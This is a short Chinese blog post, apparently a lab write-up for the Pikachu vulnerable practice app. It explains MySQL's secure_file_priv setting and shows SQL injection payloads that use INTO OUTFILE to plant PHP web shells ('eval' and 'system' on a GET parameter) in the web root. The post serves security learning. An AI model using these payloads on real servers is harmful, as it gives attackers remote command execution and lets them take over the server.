当前位置: 首页 > article >正文

Pikachu-Sql-Inject - 通过sql进行远程服务器控制(试验)

secure_file_priv是MySQL中的系统变量,用于限制文件的读取和写入。

查看命令:

show variables like "secure%" 
//或者
select @@secure_file_priv;

1.secure_file_priv = NULL ,限制文件的读取和写入。

2.secure_file_priv = 文件路径 ,限制文件的读取和写入只能在设定的文件夹中。

3.secure_file_priv= "", 对文件和读取和写入没有任何限制。

into outfile ,将select 的结果写入到指定的文件中;

vince' union select " <?php @eval($_GET['test'])?>",2 into outfile "/var/www/html/1.php"#
vince' union select " <?php system($_GET['cmd'])?>",2 into outfile "/var/www/html/2.php"#

//构造sql
vince' union select " <?php system($_GET['cmd'])?>",2 into outfile "/var/lib/mysql-files/2.php"#

执行sql语句

进入到服务器目录下,看到文件已生成;

这个实验有三个前提条件:

1、需要知道远程服务器的文件目录;

2、需要该目录有写权限;

3、需要数据库开启secure_file_priv权限;


http://www.kler.cn/news/335156.html

相关文章:

  • MongoDB 快速入门+单机部署(附带脚本)
  • 华为OD机试 - Excel单元格数值统计(Python/JS/C/C++ 2024 E卷 200分)
  • git | 合并 commit 的两种方法
  • 没有很深入的理解一下数字图像传感器
  • VL53L4CD液位监测(2)----液位检测
  • 足球青训管理:Spring Boot技术实现
  • 【python实操】python小程序之函数的方法和赋值的区别
  • MySQL 临时表
  • 利用 Qt 和 MySQL 实现简单的数据库用户登录与创建功能
  • Linux 安装 yum
  • 聊聊JIT是如何影响JVM性能的!
  • YOLO11改进|卷积篇|引入SPDConv
  • unity一键注释日志和反注释日志
  • Transformer 模型和 BERT 模型:概述
  • Python机器学习模型的部署与维护:版本管理、监控与更新策略
  • SpringCloudAlibaba的nacos启动注册实现
  • C0007.Clion中添加ui文件及运行的完整步骤
  • MySQL深度分页
  • TypeScript编译选项
  • 用人工智能写作:专业作家利用 ChatGPT 的五种方式 ✍️